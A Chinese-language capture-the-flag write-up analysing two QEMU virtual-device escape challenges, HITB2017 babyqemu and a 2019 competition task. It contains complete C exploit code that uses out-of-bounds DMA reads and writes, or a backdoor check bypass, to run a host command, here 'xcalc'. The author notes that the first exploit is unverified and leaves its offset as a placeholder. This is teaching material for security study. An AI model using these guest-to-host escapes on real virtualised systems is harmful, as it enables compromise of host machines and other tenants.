【qemu逃逸】HITB2017-babyqemu && 2019数字经济-qemu

前言

由于本地环境问题,babyqemu 环境都没有起起,这里仅仅做记录,exp 可能不正确。

HITB2017-babyqemu 

设备逆向

设备定位啥的就不说了,先看下实例结构体:

【qemu逃逸】HITB2017-babyqemu && 2019数字经济-qemu_第1张图片

其中 dma_state 结构体如下:

【qemu逃逸】HITB2017-babyqemu && 2019数字经济-qemu_第2张图片

这里看字段猜测跟 dma 相关,然后只注册了 mmio,所以直接看 mmio_read/mmio_write 吧。

这里为了方便,我把函数的功能直接写出来了

【qemu逃逸】HITB2017-babyqemu && 2019数字经济-qemu_第3张图片

hitb_mmio_read 就是去读取实例结构体中的字段。hitb_mmio_write 主要就是设置 dma 中的相关字段。

然后最重要的就是那个时钟任务了,该时钟任务会在 hitb_mmio_write 函数中被触l

【qemu逃逸】HITB2017-babyqemu && 2019数字经济-qemu_第4张图片

漏洞就在该时钟任务中: 

【qemu逃逸】HITB2017-babyqemu && 2019数字经济-qemu_第5张图片

可以看到在对物理内存进行读写时并没有检查 dma.cnt 的大小,并且也没有检查读取下标的范围。但是对于 dma.cnt 大小没有检查对攻击者而言是没有的,因为其对应的是用户的 buf。

 漏洞利用

由于没有对 idx 进行检查,所以我们可以越界读取 enc 函数指针,然后以此计算出 system@plt 的地址。然后利用越界写修改 enc 函数指针为 system@plt 地址,并在 dma_buf 开头写上 cmd。这样当触发 enc(dma_buf) 时就可以执行任意命令。

即:

【qemu逃逸】HITB2017-babyqemu && 2019数字经济-qemu_第6张图片

exp 如下:由于环境,exp 没有经过验证

#include 
#include 
#include 
#include 
#include 

void *mmio_base;
void mmio_init()
{
        int fd = open("resource0_path", O_RDWR);
        if (fd < 0) puts("[X] open for mmio"), exit(EXIT_FAILURE);
        mmio_base = mmap(0, 0x100000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
        if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);
}

void mmio_write(uint32_t addr, uint32_t val)
{
        *(uint32_t*)(mmio_base + addr) = val;
}

uint64_t gva_to_gpa(void *addr)
{
        uint64_t page;
        int fd = open("/proc/self/pagemap", O_RDONLY);
        if (fd < 0) puts("[X] open pagemap"), exit(EXIT_FAILURE);
        lseek(fd, (((uint64_t)addr >> 12) << 3), 0);
        read(fd, &page, 8);
        if (!(page & (1ULL << 63))) puts("[X] page not present"), exit(EXIT_FAILURE);
        return ((page & ((1ULL << 55 )- 1)) << 12) | ((uint64_t)addr & (4095));
}


void arb_read(uint64_t dst, uint32_t src, uint32_t len)
{
        uint64_t gpa = gva_to_gpa(dst);
        mmio_write(0x88, gpa);
        mmio_write(0x80, src+0x40000);
        mmio_write(0x90, len);
        mmio_write(0x98, 1|2);
        sleep(1);
}

uint64_t arb_write(uint32_t dst, uint64_t src, uint32_t len)
{
        uint64_t gpa = gva_to_gpa(src);
        mmio_write(0x88, dst+0x40000);
        mmio_write(0x80, gpa);
        mmio_write(0x90, len);
        mmio_write(0x98, 1);
        sleep(1);
}

void triger(uint32_t src, uint32_t len)
{
        mmio_write(0x88, 0);
        mmio_write(0x80, src+0x40000);
        mmio_write(0x90, len);
        mmio_write(0x98, 1|2|4);
        sleep(1);
}


int main(int argc, char** argv, char** envp)
{
        mmio_init();
        uint64_t enc_addr = 0;
        arb_read(&enc_addr, 0x1000, 8);
        printf("[+] enc_addr => %#p\n", enc_addr);

        uint64_t offset = 0; // enc - system offset
        uint64_t system_addr = enc_addr + offset;
        printf("[+] system_addr => %#p\n", system_addr);

        char * cmd = "xcalc";
        arb_write(0x100, cmd, strlen(cmd));
        arb_write(0x1000, &system_addr, 8);
        triger(0x100, 0);

        return 0;
}

2019数字经济-qemu

用户名:root(无密码)

该题没有符号,这题其实非常简单,有直接的后门。所以重在对题目的分析上面。

这题没有符号,但是挺简单的,白给的后门。

mmio_read 里面存在后门:

【qemu逃逸】HITB2017-babyqemu && 2019数字经济-qemu_第7张图片

但是这里有一个 check:

而在 mmio_write 函数中就可以设置 checked 数组的值从而绕过 check,并且还可以设置 command 的值:

【qemu逃逸】HITB2017-babyqemu && 2019数字经济-qemu_第8张图片
 

exp 如下:

#include 
#include 
#include 
#include 
#include 
#include 

void * mmio_base;
void mmio_init()
{
        int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR|O_SYNC);
        if (fd < 0) puts("[X] open for mmio"), exit(EXIT_FAILURE);
        mmio_base = mmap(0, 0x1000000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
        if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);
        if (mlock(mmio_base, 0x1000000) < 0) puts("[X] mlock for mmio"), exit(EXIT_FAILURE);
}

void mmio_write(uint64_t opt, uint64_t idx, uint64_t val)
{

        uint64_t addr = 0;
        if (opt == 6)
                addr = (opt << 20) | idx;
        else
                addr = (opt << 20) | (idx << 16);

        printf("%#llx\n", addr);
        *(uint64_t*)(mmio_base + addr) = val;
}

int main(int argc, char** argv, char** envp)
{
        // "wwssadadBABA"
        mmio_init();
        mmio_write(0, 0, 0);
        mmio_write(0, 1, 0);
        mmio_write(1, 2, 0);
        mmio_write(1, 3, 0);
        mmio_write(2, 4, 0);
        mmio_write(3, 5, 0);
        mmio_write(2, 6, 0);
        mmio_write(3, 7, 0);
        mmio_write(5, 8, 0);
        mmio_write(4, 9, 0);
        mmio_write(5, 10, 0);
        mmio_write(4, 11, 0);

        char cmd[0x8] = "xcalc;";

        mmio_write(6, 0, *(uint64_t*)&cmd[0]);

        return *(int*)mmio_base;
}
xi

效果如下:

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